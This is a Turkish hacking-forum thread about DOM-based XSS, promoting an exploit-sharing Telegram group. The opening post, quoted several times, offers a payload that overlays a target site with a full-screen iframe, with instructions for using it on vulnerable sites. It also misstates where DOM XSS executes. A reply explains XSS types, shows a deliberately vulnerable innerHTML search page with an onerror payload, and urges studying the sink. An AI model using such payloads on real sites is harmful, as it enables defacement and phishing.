exploit paylaşım grubumuz: t.me/HTTPwnn

Dom Based Xss nedir? Ve 1 adet payload

  • Konu başlatıcı Konu başlatıcı zhac
  • Başlangıç Tarihi Başlangıç Tarihi

zhac

WarNight Member
Katılım
14 Haz 2026
Mesaj
5
Reaksiyon
6
Puan
3
xentr_thread_starter
Payload'ı Nereden Aldığım Hatırlamıyorum Ama Atayım Dedim Forum Da Boş Kalmayayim.

İlk öncelikle dom based xss nedir?

Dom Based Xss Güvensiz JavaScript Kodlarından Oluşur Bu Sadece 1 Tane Örnektir. Bu Açık Sunucuda Değil, Saldırganın Tarayıcısında Meydana Gelir. Normal Xss'den Farkı Normal Xss Sunucu Tarafından Oluşur, Dom Xss Saldırıyı Yapan Kişinin Tarayıcısında Meydana Gelir Yani Veri Doğrudan Frontend Tarafından İşlenir. Eger Bir Site'de Dom Xss Açığı Olduğunu Düşünüyorsanız Aşağıda Vereceğim Payload'i Deneyin.
Ve Ayrıca Dom Xss Acıklı Bir Site'de Sadece Başka Sitenin Ara Yüzünü Yani Frontend'ini Kendi Tarayıcınızda Gösterebiliriniz.

Payload: https://hedefsite.com/search?q="><img src=x onerror="document.body.innerHTML='<iframe src=\'https://sizinsiteniz.com/index.html\' style=\'position:fixed;top:0;left:0;width:100%;height:100%;border:none;z-index:999999;\'></iframe>'">

Bu Payload'ı Nasıl Kullanırsınız?


"https://hedefsite.com/search?q="

Buraya Dom Xss Açığını Bulduğunuz Bir Sitenin Url'sini Yazın.

"<iframe src=\'https://sizinsiteniz.com/index.html\' "

Buraya İse Ara Yüzünün Gözükmesini İstediğiniz Siteyi Yazın.

Bunları Yaptıktan Sonra Payload'ı Tarayıcınızına Yapıştırın. Ve Artık Dom Xss'i Deneyimlemiş Oldunuz :)

Telegram: @kesmisler

(Yanlışım varsa kusura bakmayın uzun zamandır ilgilenmiyorum web ile)
 
Payload'ı Nereden Aldığım Hatırlamıyorum Ama Atayım Dedim Forum Da Boş Kalmayayim.

İlk öncelikle dom based xss nedir?

Dom Based Xss Güvensiz JavaScript Kodlarından Oluşur Bu Sadece 1 Tane Örnektir. Bu Açık Sunucuda Değil, Saldırganın Tarayıcısında Meydana Gelir. Normal Xss'den Farkı Normal Xss Sunucu Tarafından Oluşur, Dom Xss Saldırıyı Yapan Kişinin Tarayıcısında Meydana Gelir Yani Veri Doğrudan Frontend Tarafından İşlenir. Eger Bir Site'de Dom Xss Açığı Olduğunu Düşünüyorsanız Aşağıda Vereceğim Payload'i Deneyin.
Ve Ayrıca Dom Xss Acıklı Bir Site'de Sadece Başka Sitenin Ara Yüzünü Yani Frontend'ini Kendi Tarayıcınızda Gösterebiliriniz.

Payload: https://hedefsite.com/search?q="><img src=x onerror="document.body.innerHTML='<iframe src=\'https://sizinsiteniz.com/index.html\' style=\'position:fixed;top:0;left:0;width:100%;height:100%;border:none;z-index:999999;\'></iframe>'">

Bu Payload'ı Nasıl Kullanırsınız?


"https://hedefsite.com/search?q="

Buraya Dom Xss Açığını Bulduğunuz Bir Sitenin Url'sini Yazın.

"<iframe src=\'https://sizinsiteniz.com/index.html\' "

Buraya İse Ara Yüzünün Gözükmesini İstediğiniz Siteyi Yazın.

Bunları Yaptıktan Sonra Payload'ı Tarayıcınızına Yapıştırın. Ve Artık Dom Xss'i Deneyimlemiş Oldunuz :)

Telegram: @kesmisler

(Yanlışım varsa kusura bakmayın uzun zamandır ilgilenmiyorum web ile)


e.s duzeltmem gereken belli baslı seyler varsa xss zafiyetinde reflected ve stored hali backend'de oluşur cunku kullanıcının elleşebildigi bir veri sunucuya uğrar orda işlem görür ve ekrana öyle basılır nedenide düzgün output encoding yapıp client'e döndürülmediği içindir. ama dom xss'e gelirsek dedigin gibi dom xss genel olarak client side tabanlıdır, backend'e ihtiyaç hiç yoktur.

örnek vericek olursam reflected xss, bir input var ismini yazıyorsun ve ekranda o ismi basmakta değilmi ve bunu backend'den döndürüp ekrana basıyorsa reflected xss'tir bu ama dümdüz js event'ları ile işlemi yapıyorsa ve yazılan ismi ekrana o şekilde basıyorsa bu dom xss'tir.
DOM based xss document object modelden gelir yani sayfanın içeriğidir DOM, o anki sayfanın içindeki js eventlarını istismar ederek kendi javascript kodunu çalıştırmaktır dom xss'de.
stored xss'de ise evet backend olaya girmekte burada, kullanıcı gene adını giriyor ve liderlik tablosunda basıldıgını varsayalım -> kullanıcı sisteme adını girdi -> sistem o kullanıcı adını veritabanına yazdı -> kullanıcının puanı arttı -> liderlik sıralamasında ismi basıldı -> kullanıcının adı <script>alert(31)</script> -> ekranda 31 uyarısı çıktı. tüm akış budur, stored xss'de backend'in olmasıda tamamen depolama yapılması oldugundandır. esasında xss tamamen client side zafiyettir.

verdiğin payload'a gelirsek, tamamen o an ki sayfanın içeriğine bağlı çalışıcaktır
örneğin senin dediğin:
HTML:
<!doctype html>
<head>
  <meta charset="utf-8">
</head>
<body>

  <h1>Arama Yap:></h1>
  <form>
    <input name="q" placeholder="Aranacak kelime">
    <button>Ara</button>
  </form>
  <div id="result"></div>

  <script>
    const params = new URLSearchParams(location.search);
    const q = params.get("q");
    if (q) {
      document.getElementById("result").innerHTML = "Arama sonucu: " + q;
    }
  </script>

</body>
</html>

burda kullanıcı input'a selam girer ve 1781981709196.png
<script>
const params = new URLSearchParams(location.search);
const q = params.get("q");
if (q) {
document.getElementById("result").innerHTML = "Arama sonucu: " + q;
}
</script>
javascript'in komutu olan URLSearchParams(location.search) ile url'deki yapılan aramayı/sorguyu yakalar, ve q değerinde olusturdugumuz degisken ise aramada kullanılan q değerindeki aranan içeriği almak içindir. sonrasında ise if (q) ile, yapılan sorgulama varsa yani herangi bir ?q=blablabla araması varsa result adlı bölüme innetHTML ile aranan içeriği basıyoruz. javascriptteki innerHTML metodunun amacıda gelen veriyi html olarak ekrana basmaktır , yani şuan <h1>selam</h1> yazarsak ekrana bunu buyuk boyda selam olarak yazıcaktır. ve <script></script> ile html icine javascript kodu enjekte ederek xss'e yükselmişte bulunabilirz dersem yalan olur, genelde bu calısmaz cunku innerhtml script taglarını dom da genelde render etmiyor (tarayıcıdan tarayıcıya degisebilir), genede xss'e yukselebiliriz bazı html etiketlerinin attributeları ile ornegın onerror ile: <img src=x onerror=alert(1)> , src yani image'in source unu arar ve eğer x adında resim kaynagı bulamazsa hata olarak alert(1) uretiriz ve genede xss'e yukselebiliriz.
1781983371917.png

demek istediğim, dom xss ararken arama yapın ve o sayfada aramanın nasıl yapıldığına source'u inceleyerek anlayın ve ona göre karar verin. yani dupeduz bu payloadı kullanmak bi tık sacma olucaktır, o anki sayfadaki anlık source hızlıca okuyup ona göre sink (zafiyetin olustugu nokta) yakalamak en mantıklısıdır
 
Son düzenleme:
xentr_thread_starter
e.s duzeltmem gereken belli baslı seyler varsa xss zafiyetinde reflected ve stored hali backend'de oluşur cunku kullanıcının elleşebildigi bir veri sunucuya uğrar orda işlem görür ve ekrana öyle basılır nedenide düzgün output encoding yapıp client'e döndürülmediği içindir. ama dom xss'e gelirsek dedigin gibi dom xss genel olarak client side tabanlıdır, backend'e ihtiyaç hiç yoktur.

örnek vericek olursam reflected xss, bir input var ismini yazıyorsun ve ekranda o ismi basmakta değilmi ve bunu backend'den döndürüp ekrana basıyorsa reflected xss'tir bu ama dümdüz js event'ları ile işlemi yapıyorsa ve yazılan ismi ekrana o şekilde basıyorsa bu dom xss'tir.
DOM based xss document object modelden gelir yani sayfanın içeriğidir DOM, o anki sayfanın içindeki js eventlarını istismar ederek kendi javascript kodunu çalıştırmaktır dom xss'de.
stored xss'de ise evet backend olaya girmekte burada, kullanıcı gene adını giriyor ve liderlik tablosunda basıldıgını varsayalım -> kullanıcı sisteme adını girdi -> sistem o kullanıcı adını veritabanına yazdı -> kullanıcının puanı arttı -> liderlik sıralamasında ismi basıldı -> kullanıcının adı <script>alert(31)</script> -> ekranda 31 uyarısı çıktı. tüm akış budur, stored xss'de backend'in olmasıda tamamen depolama yapılması oldugundandır. esasında xss tamamen client side zafiyettir.

verdiğin payload'a gelirsek, tamamen o an ki sayfanın içeriğine bağlı çalışıcaktır
örneğin senin dediğin:
HTML:
<!doctype html>
<head>
  <meta charset="utf-8">
</head>
<body>

  <h1>Arama Yap:></h1>
  <form>
    <input name="q" placeholder="Aranacak kelime">
    <button>Ara</button>
  </form>
  <div id="result"></div>

  <script>
    const params = new URLSearchParams(location.search);
    const q = params.get("q");
    if (q) {
      document.getElementById("result").innerHTML = "Arama sonucu: " + q;
    }
  </script>

</body>
</html>

burda kullanıcı input'a selam girer ve Ek dosyayı görüntüle: 136
<script>
const params = new URLSearchParams(location.search);
const q = params.get("q");
if (q) {
document.getElementById("result").innerHTML = "Arama sonucu: " + q;
}
</script>
javascript'in komutu olan URLSearchParams(location.search) ile url'deki yapılan aramayı/sorguyu yakalar, ve q değerinde olusturdugumuz degisken ise aramada kullanılan q değerindeki aranan içeriği almak içindir. sonrasında ise if (q) ile, yapılan sorgulama varsa yani herangi bir ?q=blablabla araması varsa result adlı bölüme innetHTML ile aranan içeriği basıyoruz. javascriptteki innerHTML metodunun amacıda gelen veriyi html olarak ekrana basmaktır , yani şuan <h1>selam</h1> yazarsak ekrana bunu buyuk boyda selam olarak yazıcaktır. ve <script></script> ile html icine javascript kodu enjekte ederek xss'e yükselmişte bulunabilirz dersem yalan olur, genelde bu calısmaz cunku innerhtml script taglarını dom da genelde render etmiyor (tarayıcıdan tarayıcıya degisebilir), genede xss'e yukselebiliriz bazı html etiketlerinin attributeları ile ornegın onerror ile: <img src=x onerror=alert(1)> , src yani image'in source unu arar ve eğer x adında resim kaynagı bulamazsa hata olarak alert(1) uretiriz ve genede xss'e yukselebiliriz.
Ek dosyayı görüntüle: 137

demek istediğim, dom xss ararken arama yapın ve o sayfada aramanın nasıl yapıldığına source'u inceleyerek anlayın ve ona göre karar verin. yani dupeduz bu payloadı kullanmak bi tık sacma olucaktır, o anki sayfadaki anlık source hızlıca okuyup ona göre sink (zafiyetin olustugu nokta) yakalamak en mantıklısıdır
Peki tam olarak nerede hata yaptım?
 
Peki tam olarak nerede hata yaptım?
1781986127860.png
genel olarak bi hatan yok , ama attıgım resimdeki kısım okuyan ve yeni baslayan birisi icin yanlıs anlasılmaya neden olabilcektir veya dümdüz o kisiyi lamer yapacaktır kisinin kendisi sadece bu yazıyı okuyarak dom based xss aradıgını dusun. lamer olcaktır dememin nedeni cunku o payloadı her arama butonuna yazıcaktır , demek istedigim acıgın olusma nedeni ve var olup olmadıgınının kanaatına nasıl vardıgımızı daha iyi anlatabilirdin

emeğine saygım sonsuz aga tek demek istedigim detaya girip karsında websec'e yeni baslamıs bir eleman varmıscasına anlatmaman yani kişiye hazır oruntuye ezberletmek yerine oruntunun nasıl olustugunu kavratman bence daha iyi olrdu
 
xentr_thread_starter
Ek dosyayı görüntüle: 138
genel olarak bi hatan yok , ama attıgım resimdeki kısım okuyan ve yeni baslayan birisi icin yanlıs anlasılmaya neden olabilcektir veya dümdüz o kisiyi lamer yapacaktır kisinin kendisi sadece bu yazıyı okuyarak dom based xss aradıgını dusun. lamer olcaktır dememin nedeni cunku o payloadı her arama butonuna yazıcaktır , demek istedigim acıgın olusma nedeni ve var olup olmadıgınının kanaatına nasıl vardıgımızı daha iyi anlatabilirdin

emeğine saygım sonsuz aga tek demek istedigim detaya girip karsında websec'e yeni baslamıs bir eleman varmıscasına anlatmaman yani kişiye hazır oruntuye ezberletmek yerine oruntunun nasıl olustugunu kavratman bence daha iyi olrdu
Anladım ağam benim biraz hatta fazla şekilde anlatma bozukluğum var anlayabiliyorum ama konu anlatmaya gelince yapamıyorum 😅
 
Anladım ağam benim biraz hatta fazla şekilde anlatma bozukluğum var anlayabiliyorum ama konu anlatmaya gelince yapamıyorum 😅
ahahaha dediğim gibi aga cok sorun yok sadece anlatırken internetten bakıp falan ornek senaryo ile akılda kalıcı sekilde anlatmak daha iyi olabilir veyaa işte neden sonuç ilişkileri ile anlatmaya çalışabilirsin "neden oluşuyor" , "bu zafiyet nasıl düzeltilir" gibi gibi, tekrar e.s cnm <3
 
Payload'ı Nereden Aldığım Hatırlamıyorum Ama Atayım Dedim Forum Da Boş Kalmayayim.

İlk öncelikle dom based xss nedir?

Dom Based Xss Güvensiz JavaScript Kodlarından Oluşur Bu Sadece 1 Tane Örnektir. Bu Açık Sunucuda Değil, Saldırganın Tarayıcısında Meydana Gelir. Normal Xss'den Farkı Normal Xss Sunucu Tarafından Oluşur, Dom Xss Saldırıyı Yapan Kişinin Tarayıcısında Meydana Gelir Yani Veri Doğrudan Frontend Tarafından İşlenir. Eger Bir Site'de Dom Xss Açığı Olduğunu Düşünüyorsanız Aşağıda Vereceğim Payload'i Deneyin.
Ve Ayrıca Dom Xss Acıklı Bir Site'de Sadece Başka Sitenin Ara Yüzünü Yani Frontend'ini Kendi Tarayıcınızda Gösterebiliriniz.

Payload: https://hedefsite.com/search?q="><img src=x onerror="document.body.innerHTML='<iframe src=\'https://sizinsiteniz.com/index.html\' style=\'position:fixed;top:0;left:0;width:100%;height:100%;border:none;z-index:999999;\'></iframe>'">

Bu Payload'ı Nasıl Kullanırsınız?


"https://hedefsite.com/search?q="

Buraya Dom Xss Açığını Bulduğunuz Bir Sitenin Url'sini Yazın.

"<iframe src=\'https://sizinsiteniz.com/index.html\' "

Buraya İse Ara Yüzünün Gözükmesini İstediğiniz Siteyi Yazın.

Bunları Yaptıktan Sonra Payload'ı Tarayıcınızına Yapıştırın. Ve Artık Dom Xss'i Deneyimlemiş Oldunuz :)

Telegram: @kesmisler

(Yanlışım varsa kusura bakmayın uzun zamandır ilgilenmiyorum web ile)
ellerine sağlık
 
Geri
En Üst